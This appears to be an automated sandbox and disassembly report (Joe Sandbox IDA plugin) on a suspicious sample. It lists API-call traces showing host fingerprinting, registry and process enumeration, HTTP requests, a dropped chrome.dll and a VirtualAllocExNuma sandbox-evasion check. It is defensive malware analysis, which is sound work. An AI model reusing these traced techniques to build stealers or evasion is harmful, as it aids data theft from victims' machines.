Part of subcall function 00417950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DEF0,000000FF,?,00411EE9,00000000,?,008B1000,00000000,?), ref: 00417989

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 00417B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DE8,00000000,?), ref: 00417B40
Part of subcall function 00417B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DE8,00000000,?), ref: 00417B47
Part of subcall function 00417B10: GetLocalTime.KERNEL32(?,?,?,?,?,00420DE8,00000000,?), ref: 00417B54
Part of subcall function 00417B10: wsprintfA.USER32 ref: 00417B83

Part of subcall function 00417BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417BF3
Part of subcall function 00417BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417BFA
Part of subcall function 00417BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000,?), ref: 00417C0D

Part of subcall function 00417C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,008B0288,00000000,?,00420DF8,00000000,?,00000000,00000000), ref: 00417CC5

Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(00000000,00000000,004205B7), ref: 00417D71
Part of subcall function 00417D20: LocalAlloc.KERNEL32(00000040,?), ref: 00417D89
Part of subcall function 00417D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417D9D
Part of subcall function 00417D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417DF2
Part of subcall function 00417D20: LocalFree.KERNEL32(00000000), ref: 00417EB2

Part of subcall function 00417F10: GetSystemPowerStatus.KERNEL32(?), ref: 00417F3D

GetCurrentProcessId.KERNEL32(00000000,?,008B0FA0,00000000,?,00420E0C,00000000,?,00000000,00000000,?,008B0300,00000000,?,00420E08,00000000), ref: 004122CE

Part of subcall function 00419600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
Part of subcall function 00419600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
Part of subcall function 00419600: CloseHandle.KERNEL32(00000000), ref: 0041963F

Part of subcall function 00417F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417FC7
Part of subcall function 00417F90: HeapAlloc.KERNEL32(00000000), ref: 00417FCE
Part of subcall function 00417F90: RegOpenKeyExA.KERNEL32(80000002,008AC090,00000000,00020119,?), ref: 00417FEE
Part of subcall function 00417F90: RegQueryValueExA.KERNEL32(?,008B0DC0,00000000,00000000,000000FF,000000FF), ref: 0041800F
Part of subcall function 00417F90: RegCloseKey.ADVAPI32(?), ref: 00418022

Part of subcall function 004180F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00418159
Part of subcall function 004180F0: GetLastError.KERNEL32 ref: 00418168

Part of subcall function 00418060: GetSystemInfo.KERNEL32(00420E14), ref: 00418090
Part of subcall function 00418060: wsprintfA.USER32 ref: 004180A6

Part of subcall function 00418290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008B01E0,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
Part of subcall function 00418290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,008B01E0,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
Part of subcall function 00418290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418302
Part of subcall function 00418290: __aulldiv.LIBCMT ref: 00418310
Part of subcall function 00418290: wsprintfA.USER32 ref: 0041833C

Part of subcall function 00418950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E10,00000000,?), ref: 004189BF
Part of subcall function 00418950: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E10,00000000,?), ref: 004189C6
Part of subcall function 00418950: wsprintfA.USER32 ref: 004189E0

Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,008AE140,00000000,00020019,00000000,004205BE), ref: 00418534

Part of subcall function 004184B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
Part of subcall function 004184B0: wsprintfA.USER32 ref: 004185E9
Part of subcall function 004184B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 0041861C
Part of subcall function 004184B0: RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 00418810: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205BF), ref: 0041885A
Part of subcall function 00418810: Process32First.KERNEL32(?,00000128), ref: 0041886E
Part of subcall function 00418810: Process32Next.KERNEL32(?,00000128), ref: 00418883
Part of subcall function 00418810: CloseHandle.KERNEL32(?), ref: 004188F1

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004128AB

Strings

aA, xrefs: 004128D4, 00412902, 004128D7

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: aA
API String ID: 2204142833-2414573348
Opcode ID: 0501680b533659ffee5e721c946ba43dbecadfce692c5e748987be93434381fe
Instruction ID: 4f79722ab1709daed6719e9a1a5ed0a8a89ced1591e892962b9c5cf472760468
Opcode Fuzzy Hash: 0501680b533659ffee5e721c946ba43dbecadfce692c5e748987be93434381fe
Instruction Fuzzy Hash: 9872ED72D15058AACB19FB91ECA1EEE733DAF10314F5042DFB11662056EF343B98CA69

Function 00416D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008A8FB0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,008A8FB0,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction ID: 8f12dcb365d2fb80f233d5f720f30c8ba2b1eb9bf2b810d0bdce41a90926edfe
Opcode Fuzzy Hash: d5e1fa89fe7d5108738a6f3c91913c7127e375a878f495bce87c5ec22f141b40
Instruction Fuzzy Hash: 46F08230B48219EFEB00BBA0EC0ABFE7375AF04705F15061BB516A51D0DBB89681CA5B

Function 6D47B1F0 Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 528COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 6D47B783

Strings

assertion failed: size > 0, xrefs: 6D47BA6E

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: closesocket
String ID: assertion failed: size > 0
API String ID: 2781271927-2799669176
Opcode ID: 402736834bf887224313c2de689763d79e38ad3776ca3ecaccfcff1b91aced20
Instruction ID: a196a29d8ba8bbef76da4d97f832a9e7a0fef821a5d880721d8e5699fe02aafa
Opcode Fuzzy Hash: 402736834bf887224313c2de689763d79e38ad3776ca3ecaccfcff1b91aced20
Instruction Fuzzy Hash: C64225B5904F419FD721CF29C880B93B7F1BF9A314F108A1DE9AA57A51DB71B984CB80

Function 61E4928D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 61E4947D

Strings

exclusive, xrefs: 61E493FC
winOpen, xrefs: 61E49605

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: CreateFile
String ID: exclusive$winOpen
API String ID: 823142352-1568912604
Opcode ID: b830cf8aacb6f9bc36dcbfa52aec1f5dd2d21edd53a630d10ffa3fd50f727df7
Instruction ID: ddd978882cd5270fa8f94071a9300b4b805ea89cb158bd2aa8a7dfbc70792811
Opcode Fuzzy Hash: b830cf8aacb6f9bc36dcbfa52aec1f5dd2d21edd53a630d10ffa3fd50f727df7
Instruction Fuzzy Hash: B4D1A2709047499FDB10DFA9D58478EBBF0AF88318F208929E868EB394E774D985CF41

Function 00415440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,008B21D0), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,008B1918,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Strings

ERROR, xrefs: 004154C3
ERROR, xrefs: 0041546A

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction ID: 220a7b172e2a8d17d187597bbcd3bb12c7c2fc56be07e285a6b23909b802432f
Opcode Fuzzy Hash: 243c3ba6e4d083e298a404233cb39cc9641087610bb8f65c24bf72cb52f6143f
Instruction Fuzzy Hash: 6E118630A01048ABCB14FF65EC52EED33399F50354F40456EF90A5B4A2EF38AB95C65E

Function 004108ED Relevance: 4.7, APIs: 3, Instructions: 223fileCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,008A92E0), ref: 00410922
StrCmpCA.SHLWAPI(00000000,008A9240), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,008A9260), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: DeleteFilelstrcpy
String ID:
API String ID: 273707478-0
Opcode ID: 606f9696fd9d5aca26f32f8124d411780e380f1a8cc4735a34da28451d361197
Instruction ID: 55ebfe5bea072269aba33a565d8c59cbe62f1375a0798b8cb4aa3666f491b8e5
Opcode Fuzzy Hash: 606f9696fd9d5aca26f32f8124d411780e380f1a8cc4735a34da28451d361197
Instruction Fuzzy Hash: EA916471B001089FCB18EF65DA95EED77B6EF94304F10816EE40A9F391DB349A49CB86

Function 6D4B2BA0 Relevance: 4.6, APIs: 3, Instructions: 93networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,?,00000010), ref: 6D4B2C7E

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: a262fb51e52d884dac370c54e2185f8d10b26f2054faa1d279012ef744ba26ec
Instruction ID: 6ba0630aec7a232d01bdaa4f1c3e32f28ac9528cc0404097229c733373f7702c
Opcode Fuzzy Hash: a262fb51e52d884dac370c54e2185f8d10b26f2054faa1d279012ef744ba26ec
Instruction Fuzzy Hash: 0831AE709092599FCB11CF68D5C0AAEBBF1FF66300F24845AE9989B341E335ED45CB61

Function 00419850 Relevance: 4.5, APIs: 3, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871
WriteFile.KERNEL32(000000FF,004108DC,?,004108DC,00000000,?,004108DC), ref: 004198A3

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction ID: c00870ae4f46cd9ec0fbaadc8d13ab59566e93f84a6b66ec8604c729da6f8a20
Opcode Fuzzy Hash: 87033afd89575812e055b209c04b4c4260860767bd957b8fe466ea0b568eb40e
Instruction Fuzzy Hash: BE11C830A08248BBDB10EFA0DC15BDE7B795F05314F044199F655A72C1DB346B45C7DA

Function 00417A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction ID: 80df14e24d55d9e77394b8c0389cbc6422d62e125eda11eaf6ba37d1415b345b
Opcode Fuzzy Hash: bd395e3c10b2e9752f846d4f55ec5ddb2c88ed80ced139acaed9e3128f7bbde2
Instruction Fuzzy Hash: D60181B1E08359ABC700CF98DD45BAFBBB8FB04751F10021BF505E2280E7B85A408BA2

Function 00419600 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419614
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00419635
CloseHandle.KERNEL32(00000000), ref: 0041963F

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction ID: 8add19ce2c94a4db983c162c5ea883653429c1f160fd421327fd5bffa921fc45
Opcode Fuzzy Hash: 38bec2c2861d1061a7e63eb7caa5b35248e167512e01a3ac08b79c0d7adc0fad
Instruction Fuzzy Hash: 95F03A7490120CEFDB14DBA4DD4AFEA7778BB08300F004599FA1997280E6B06E84CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction ID: f86d798d442288df0e099431c712f1cdbed5da6d4770a056b1c254158006f616
Opcode Fuzzy Hash: 11ea4e03c837496306c88658afd9ed440fb44e3d5b70bdcdd02673fa8ef340ef
Instruction Fuzzy Hash: DCE0E670D8A30CFBE7105BA19D0AB4D77689B04B15F101156F709BA5D0D6B92640565D

Function 61E33F01 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 61E33FB1

Strings

winRead, xrefs: 61E33FF4

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
